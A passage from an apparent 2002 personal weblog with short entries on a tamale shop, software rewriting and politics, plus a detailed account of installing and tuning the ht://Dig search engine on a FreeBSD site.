Now imagine if Apple provided, with their new iMacs, an iSwitch software suite.

After putting the new Mac on the home network, you put the iSwitch CD into your old windows box. Magically, all your old documents, bookmarks, and email begin to appear on the mac. The internet dialup configuration also transfers over. The pain of conversion disappears.

When it’s done, you turn off the windows PC — for the last time.

There must be migration packages out there. Heck, it would be useful to make a Windows box to Windows box migration kit as well. Something for the typical consumer who just wants to move their email and documents and jpegs. I think though, that people end up needing to know some geek, or kid, to help them with migrations of this sort.

January 25th, 2002


Joel on Software has a short piece on rewriting software called Rub a dub dub which I quite like. I’ve been doing it myself in the recent past.

No, strike recent — I’ve been building and rebuilding since 1996!

January 25th, 2002

Tom Tomorrow, blogging

January 26th, 2002

It just don’t get any better than this

Great joy can be simple. A satisfying game of intense cutthroat racquetball. Cheap taquitos, beans and rice.

January 26th, 2002

Tamales Ancira’s

Jenny picked some great tamales up. Ancira’s is running ads on the local cable company, and they’re good. She got two each of chicken, beef, and raisin and nut. Fresh tasting, excellent texture. There’s a definite trend of Mexican food today. And that’s fine by me.

January 27th, 2002

Search Engine Upgrade to ht://Dig

Last night and this morning I installed htdig as the new search engine for this site internally. Back in August I mentioned that I would start using google because the solution I was trying had stopped working with any reliability. ht://Dig is open source and originated here in San Diego at SDSU.

Total time for installation and customization was about 5 hours total. This is valuable information in case I ever need to install an htdig search engine for a client. Lots of small details in doing this installation. I downloaded the installation as a tar.gz file, then decompressed that to a suitable location (cgi-bin). Then I had to do configure, make, make install. Installing unix software is always an adventure. This site runs FreeBSD (see: colophon, and I was delighted that it went pretty smoothly.

Then I was ready to start running it. This got tricky, but it was straightforward as I was able to tweak the conf/htdig.conf file to do what I like. rundig is the key to indexing a site. At first I had broken images, but it was working properly. The site initially indexes the htdig site itself. Just like any web robot, it goes out and looks at that site just as a browser would. This put my mind at ease, as I was not sure how it would deal with databased content, or the fact that the pages on my site are very include() driven. I was also concerned that because it is a local search engine, it would index files I don’t want indexed. The perl search engine I had originally installed had this problem. It would find older versions of files and garbage files that had become garbage for a reason.

As I got it working, and pointed it at artlung.com, I found a problem. The indexing process was taking far too long. Seems I had an infinite loop happening! In my accessibility slideshow from 1999 I had a problem. The [next] and [previous] links did not give any thought to whether they should actually show or not. The php for that I had written when I really knew very little php, and I ended up with the search engine indexing not just /words/accessibility/?i=0 to /words/accessibility/?i=10, but it was iteratively visiting the “next” and “previous” links like crazy. ?i=-1, ?i=-2, ?=-3, and on until I stopped it at ?i=-115. That would have been 115 versions of the “previous” page that was no different than the “first” poge. The PHP I had written in 1999 was smart enough to handle bad values for $i, but not smart enough to realize that there was no “previous” pages for those pages. The “next” links had the same problem. The htdig indexer was not smart enough to know that it was indexing hundreds of nearly identical pages. The solution was to fix the slideshow code so that it would not produce spurious links like that. After that fix, it was indexed properly and quickly. This is probably another reason that many search engines simply won’t touch pages with querystrings.

The next problem I had was that it was showing bad search results for certain pages. Example: I searched for the word “Zappa” – and I got far more results than I would have expected. Granted, I am a Frank Zappa Fan, but why would the bio page come up in a result for that? Turns out the indexer found the entry inside the bottom <select> box for my Frank Zappa piece. So the search engine was indeed finding an instance of the word “Zappa,” but not a useful one. The solution is to not include the bottom navigation in the pages served to the search engine. I also did the same thing with the blog such that the archived pages don’t show the outbound links to the indexer. In this way you don’t get each and every instance in navigation when you use the search engine. I suspect there will be more tweaks like this.

Next I began playing with the look and feel to match the rest of artlung.com. I used my preexisting styles and made graphical widgets for search results. They are pretty cute, actually. Buttons should look like they want to be clicked, and these even have a bevel! You can’t go wrong with a subtle bevel. I added the ht://Dig logo in a way to my liking (a banner along the bottom). I ended up changing several pages in htdig’s common directory: footer.html , header.html, long.html , and nomatch.html. I also edited the template_map variable to point to my own long.html file.

Once I got it working to my satisfaction I reran rundig manually for the last time, and swapped out the old google include for the new htdig include on the search page. With a highly include-driven site it’s very easy to make these kinds of changes.

The last thing I did was add a daily unix system cron job to reindex the site daily. The indexing process takes about 2 minutes and the best part about it is that I shouldn’t have to think about it. And it should always be up to date (plus or minus 24 hours I suppose).

With luck, this search engine will work well. If you have comments or questions, feel free to ask!

January 28th, 2002

Surveillance State

The surveillance state is beginning. 1984 is no longer the relevant text. We need to look to how information flows in Cyberpunk novels like those of William Gibson and Bruce Sterling. Where having surveillance and databases out there in the aether don’t necessarily make anyone safer or happier or more secure. We must think carefully about how information tracking technologies can and will be used, abused, and subverted.

It may also be time to learn more about the EFF.

January 28th, 2002

Mr. President, Help Me Understand

  » It’s a war
  » But they’re not prisoners of war
So which is it?

January 28th, 2002

Sinus Bushycardia

January 29th, 2002

Music Mutations

These music mutations are genius. I love the Strokes / Christina Aguilera mishmash – A Stroke of Genie-us [mp3]. Jenny loves The Strokes, and I love Christina. And this is either the perfect blend or something to displease us both.

Either way, sonic stimulation in spades. [ via metafilter ]

January 30th, 2002

Splash, Header, Sleep

New splash page up front, new header here on the blog. Fancy schmancy xhtml up front. Old school tables in here. Fun. The picture, by the way, is of me, age 5 or so. Rocking out.

January 30th, 2002

Tamales Ancira Contact Information

I’m (already!) starting to get hits from yahoo for searches for this Tamale joint. I blogged it a few days ago, and they have no website, so I get hits instead of them. Crazy! Here’s their info — it’s from their business card, transcribed 30 Feb 2002:

They make these kinds of tamales: Chicken; Beef; Pork; Cheese with Jalapeno; Pineapple; Nuts with Raisins.

2 Locations on this card:

2015 Garnet Avenue Ave, Suite 103
Pacific Beach, California
Tel: 858-273-3521

707 South Escondido Blvd
Escondido, California
Tel: 760-739-8421

January 31st, 2002

Fun Fact

For some people most everyone on the planet, black, crushed-velvet pants are a terrible idea.